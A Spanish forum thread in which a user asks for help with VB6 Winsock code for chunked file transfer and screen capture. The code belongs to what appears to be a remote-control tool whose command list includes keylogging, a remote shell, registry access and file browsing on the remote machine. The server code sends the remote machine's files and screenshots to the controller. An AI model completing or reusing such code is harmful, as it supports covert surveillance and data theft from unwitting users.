elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Funcion descarga de archivo cliente/servidor
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Funcion descarga de archivo cliente/servidor  (Leído 1,486 veces)
illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Funcion descarga de archivo cliente/servidor
« en: 15 Marzo 2016, 16:59 pm »

Chicos, necesito ayuda para transferir un archivo a tra vez de winsock he aqui el codigo :

Cliente :

Código
  1. Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
  2.  WS(Index).GetData Datos
  3.  
  4.  If String(Len(Datos), Chr(0)) <> "" Then tDatos = tDatos & Datos
  5.  
  6.  If InStr(1, tDatos, "/S/") Then
  7.    Data = Split(tDatos, "|")
  8.    tDatos = ""
  9.  
  10.    Select Case Data(1)
  11.      Case "Conexion":      Call vConexion(Index)
  12.      Case "Informacion":   Call vInformation
  13.      Case "Procesos":      Call vProcess
  14.      Case "ActualizarP":   Call vAProcess
  15.      Case "sServicios":    Call vServices
  16.      Case "ActualizarS":   Call vAServices
  17.      Case "Conexiones":    Call vConexiones
  18.      Case "ActualizarA":   Call vAAdaptadores
  19.      Case "ObtenerWebs":   Call vOWebs
  20.      Case "TcpUdp":        Call vTcpUdp
  21.      Case "Keylogger":     Call vKeylogger
  22.      Case "Shell":         Call vShell
  23.      Case "RefrescarWnd":  Call vRWind
  24.      Case "Chat":          Call vChat
  25.      Case "lstDrivers":    Call vlDrivers
  26.      Case "lstFiles":      Call vlFiles
  27.      Case "ErrorServidor": Call vEServer
  28.      Case "sRegistro":     Call vRegistro
  29.      Case "Keylogger":     Call vKeylogger
  30.      Case "dwnFile":       Call dwnFile
  31.    End Select
  32.  End If
  33. End Sub

Código
  1. Public Function dwnFile()
  2.  Dim aBuff         As String
  3.  Dim Archivo       As String
  4.  
  5.  FF = FreeFile
  6.  Archivo = Data(3)
  7.  
  8.        If Dir(App.Path & "\Descargas", vbDirectory) = "" Then MkDir (App.Path & "\Descargas")
  9.        Open App.Path & "\Descargas\" & Archivo For Binary As FF
  10.                aBuff = Space(LOF(FF))
  11.                Get FF, , aBuff
  12.        Close FF
  13.  
  14.        Open App.Path & "\Descargas\" & Archivo For Binary As FF
  15.                Put FF, , aBuff + Data(2)
  16.        Close FF
  17.  
  18.        For i = 1 To TotalVentanas
  19.            For z = 1 To frmMain.LV.ListItems.Count
  20.                With frmFunciones(i)
  21.                 If .Caption = Data(4) Then
  22.                        MsgBox "Se ha descargado el archivo correctamente!", vbInformation, frmFunciones(i).Caption
  23.                 End If
  24.                End With
  25.            Next z
  26.        Next i
  27. End Function

Servidor :

Código
  1. Public Function dwFile()
  2. On Error GoTo Err
  3.  Dim aBuff       As String
  4.  Dim xBuff       As String
  5.  Dim cPacks      As String
  6.  
  7.  frmEspecifico = Data(3)
  8.  FF = FreeFile
  9.  
  10.  Open Data(2) For Binary As FF
  11.    aBuff = Space(LOF(FF))
  12.    Get FF, , aBuff
  13.  Close FF
  14.  
  15.  cPacks = CInt(Len(aBuff) / 8192) '8192
  16.  If InStr(1, cPacks, ",") Then If Split(cPacks, ",")(1) > 0 Then cPacks = Split(cPacks, ",")(0) + 1
  17.  If Len(aBuff) > 8192 And cPacks > 0 Then
  18.        For i = 0 To cPacks
  19.            If i > 0 Then xBuff = Mid(aBuff, (i * 8192) - 1, Len(aBuff)) Else xBuff = Mid(aBuff, 1, Len(aBuff))
  20.            If frmMain.WS.State = 7 Then frmMain.WS.SendData "/S/|dwnFile|" & xBuff & "|" & Split(Data(2), "\")(UBound(Split(Data(2), "\"))) & "|" & frmEspecifico
  21.        Next i
  22.  End If
  23.  
  24. Err: If Err.Number > 0 Then frmMain.WS.SendData "|ErrorServidor|" & Err.Number & "|"
  25. End Function


En la linea del cliente Archivo = Data(3) me sale contenido del archivo en vez de salirme el nombre del archivo como la mando desde el servidor, ya probe con diferentes delimitadores para ver si era los simples "|"  pero no ..

Alguien me puede poner un ejemplo sencillo sobre como hacer una descarga y una subida de archivos?.. o que ven mal en el code?

Un saludo! si hace falta mas codigo lo pongo.



Alguien que me ayude con el envio de archivos de mas de X bytes?..
Necesito un ejemplo, quien se anima?..

Un saludo!

MOD EDIT: No hacer doble post.


« Última modificación: 17 Marzo 2016, 18:49 pm por MCKSys Argentina » En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 4.906


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: Funcion descarga de archivo cliente/servidor
« Respuesta #1 en: 17 Marzo 2016, 18:59 pm »

Como idea, podrias depurar y ver que devuelve el split que estas haciendo en WS_DataArrival.

De ahi puedes sacar conclusiones...

Saludos!


En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Funcion descarga de archivo cliente/servidor
« Respuesta #2 en: 18 Marzo 2016, 18:01 pm »

Como idea, podrias depurar y ver que devuelve el split que estas haciendo en WS_DataArrival.

De ahi puedes sacar conclusiones...

Saludos!

Por ejemplo con el envio de imagenes por la captura de pantalla..

/S/|CapturarPantalla|BM6 <     6 ........... CONTENIdO dE LA IMAGEN ...... y lo siguientes delimitadores desaparecen

eso es lo que recibo en el cliente despues de tomar la captura y enviarla desde el servidor.

MODIFICADO :

Alguien que se anime a hacer una funcion de partir el archivo por partes?.. cliente servidor. Venga yo se que a leandro o alguno de ustedes Pro en VB no les cuesta nada hacerlo en un momentito, lo encesito urgente para terminar un proyecto que vengo haciendo desde años pasados!.

Saludos!
« Última modificación: 19 Marzo 2016, 19:51 pm por illuminat3d » En línea

illuminat3d

Desconectado Desconectado

Mensajes: 231



Ver Perfil WWW
Re: Funcion descarga de archivo cliente/servidor
« Respuesta #3 en: 21 Marzo 2016, 16:47 pm »

Perdon por el doble post pero para no crear un tema nuevo, he aqui la cuestion estoy haciendo la captura de escritorio remoto, en el emulador de VB6 los datos se envian muy bien y completos (a veces) pero el problema viene cuando creo el archivo servicio en binario sin usar el depurador de vb.. la captura se crea bien en la carpeta temporal pero no me llega bien al cliente..

SERVIDOR :

Código
  1. Public Function Capturar_Pantalla()
  2.    On Error Resume Next
  3.        Dim i_Buff      As String * 8024
  4.        Dim f_Name      As String
  5.        Dim Largo       As Long
  6.        Dim i_Todo      As String
  7.  
  8.        nCaptura = nCaptura + 1
  9.        FF = FreeFile
  10.        Clipboard.Clear
  11.  
  12.        frmEspecifico = Split(Data(2), "/S/")(0)
  13.        f_Name = nCaptura
  14.  
  15.        Set frmMain.pScreenShot.Picture = CaptureScreen()
  16.        If frmMain.pScreenShot.Picture <> 0 Then
  17.                SavePictureAsJPG frmMain.pScreenShot, Environ$("Temp") & "\" & f_Name & ".jpg", 85
  18.  
  19.                DoEvents
  20.  
  21.                Open Environ$("Temp") & "\" & f_Name & ".jpg" For Binary As FF
  22.                    Do While Not EOF(FF)
  23.                        DoEvents
  24.                        Get FF, , i_Buff
  25.                        Largo = LOF(FF)
  26.                        eDatos = "/S/|CapturarPantalla|" & i_Buff & "|$--$|" & f_Name & "|$--$|" & Largo & "|$--$|" & frmEspecifico & "|$--$|"
  27.                        Call sDatos(eDatos)
  28.                    Loop
  29.                Close FF
  30.  
  31.                'Kill Environ$("Temp") & "\" & f_Name & ".jpg"
  32.        End If
  33. End Function
  34.  

CLIENTE :

Código
  1. Public Function Capturar_Pantalla()
  2.   'On Error Resume Next
  3.  
  4.   Dim fData()       As String
  5.   Dim f_Name        As String
  6.   Dim f_Len         As Long
  7.   Dim uIP           As String
  8.   Dim uName         As String
  9.  
  10.  
  11.  
  12.  FF = FreeFile
  13.  
  14.  fData = Split(Replace$(Datos, "/S/|CapturarPantalla|", ""), "|$--$|")
  15.  Archivo = Archivo + fData(0)
  16.  f_Name = fData(1) & ".jpg"
  17.  f_Len = fData(2)
  18.  frmEspecifico = fData(3)
  19.  
  20.  uIP = Split(frmEspecifico, "/")(1)
  21.  uName = Replace(Split(frmEspecifico, " Administrando a ")(1), "/" & uIP, "")
  22.  
  23.  Create_Folders (uName)
  24.  
  25.  If Len(Archivo) >= f_Len Then
  26.    For i = 1 To TotalVentanas
  27.            For z = 1 To frmMain.LV.ListItems.Count
  28.                With frmFunciones(i)
  29.                  If .Caption = frmEspecifico Then
  30.                        .PBScreen.Value = 60
  31.  
  32.                        Open App.Path & "\Usuarios\" & uName & "\" & f_Name For Binary As FF
  33.                                   Put FF, , Archivo
  34.                        Close FF
  35.  
  36.                        Archivo = ""
  37.  
  38.                        frmFunciones(i).picScreen = Nothing
  39.                        frmFunciones(i).picScreen = LoadPicture(App.Path & "\Usuarios\" & uName & "\" & f_Name)
  40.                        frmFunciones(i).picScreen.ScaleMode = 3
  41.                        frmFunciones(i).picScreen.AutoRedraw = True
  42.                        frmFunciones(i).picScreen.PaintPicture frmFunciones(i).picScreen.Picture, 0, 0, frmFunciones(i).picScreen.ScaleWidth, frmFunciones(i).picScreen.ScaleHeight
  43.                        If .cGuardarCaptura.Value = 0 Then Kill App.Path & "\Usuarios\" & uName & "\" & f_Name
  44.                        .PBScreen.Value = 100
  45.                  End If
  46.                End With
  47.            Next z
  48.    Next i
  49.  End If
  50. End Function
  51.  

El envio de datos esta dentro de un loop porque la verdad no se otra forma de partir el archivo y recoger los datos.
A veces los datos del array fdata() se me mezclan con el contenido de la imagen pero me parece raro porque en el vb6 va bien.

Una imagen

Un saludo y espero una respuesta!
« Última modificación: 21 Marzo 2016, 16:51 pm por illuminat3d » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines